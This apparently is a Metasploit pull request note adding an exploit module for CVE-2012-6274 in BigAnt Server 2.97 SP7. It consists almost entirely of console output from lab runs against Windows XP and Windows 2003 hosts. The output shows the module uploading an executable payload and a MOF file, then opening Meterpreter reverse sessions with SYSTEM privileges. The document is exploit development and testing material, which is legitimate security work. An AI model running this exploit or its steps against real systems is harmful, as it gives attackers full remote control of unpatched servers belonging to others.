Added module for CVE-2012-6274

Tested successfully with BigAnt Server 2.97 SP7 on Windows XP SP3 and Windows 2003 SP2:

```
msf > use exploit/windows/misc/bigant_server_dupf_upload 
msf  exploit(bigant_server_dupf_upload) > reload
[*] Reloading module...
msf  exploit(bigant_server_dupf_upload) > set rhost 192.168.1.147
rhost => 192.168.1.147
msf  exploit(bigant_server_dupf_upload) > rexploit
[*] Reloading module...

[*] Started reverse handler on 192.168.1.128:4444 
[*] 192.168.1.147:6661 - Sending HTTP ConvertFile Request to upload the exe payload AoPVhzdIhEunLs.exe
[*] sending DUPF
[+] 192.168.1.147:6661 - AoPVhzdIhEunLs.exe uploaded successfully
[*] 192.168.1.147:6661 - Sending HTTP ConvertFile Request to upload the mof file snjWwtKp.mof
[*] sending DUPF
[+] 192.168.1.147:6661 - snjWwtKp.mof uploaded successfully
[*] Sending stage (752128 bytes) to 192.168.1.147
[*] Meterpreter session 7 opened (192.168.1.128:4444 -> 192.168.1.147:1553) at 2013-02-17 20:23:50 +0100
[+] Deleted wbem\mof\good\snjWwtKp.mof
[!] This exploit may require manual cleanup of: AoPVhzdIhEunLs.exe

meterpreter > getuid
Server username: NT AUTHORITY\SYSTEM
meterpreter > sysinfo
Computer        : JUAN-C0DE875735
OS              : Windows XP (Build 2600, Service Pack 3).
Architecture    : x86
System Language : en_US
Meterpreter     : x86/win32
meterpreter > exit
[*] Shutting down Meterpreter...

[*] 192.168.1.147 - Meterpreter session 7 closed.  Reason: User exit
msf  exploit(bigant_server_dupf_upload) > set rhost 192.168.1.155
rhost => 192.168.1.155
msf  exploit(bigant_server_dupf_upload) > rexploit
[*] Reloading module...

[*] Started reverse handler on 192.168.1.128:4444 
[*] 192.168.1.155:6661 - Sending HTTP ConvertFile Request to upload the exe payload NSfXgP.exe
[*] sending DUPF
[+] 192.168.1.155:6661 - NSfXgP.exe uploaded successfully
[*] 192.168.1.155:6661 - Sending HTTP ConvertFile Request to upload the mof file UqObJt.mof
[*] sending DUPF
[+] 192.168.1.155:6661 - UqObJt.mof uploaded successfully
[*] Sending stage (752128 bytes) to 192.168.1.155
[*] Meterpreter session 8 opened (192.168.1.128:4444 -> 192.168.1.155:1035) at 2013-02-17 20:24:54 +0100
[+] Deleted wbem\mof\good\UqObJt.mof
[!] This exploit may require manual cleanup of: NSfXgP.exe

meterpreter > getuid
Server username: NT AUTHORITY\SYSTEM
meterpreter > sysinfo
Computer        : JUAN-6ED9DB6CA8
OS              : Windows .NET Server (Build 3790, Service Pack 2).
Architecture    : x86
System Language : en_US
Meterpreter     : x86/win32
meterpreter > exit
[*] Shutting down Meterpreter...

[*] 192.168.1.155 - Meterpreter session 8 closed.  Reason: User exit

```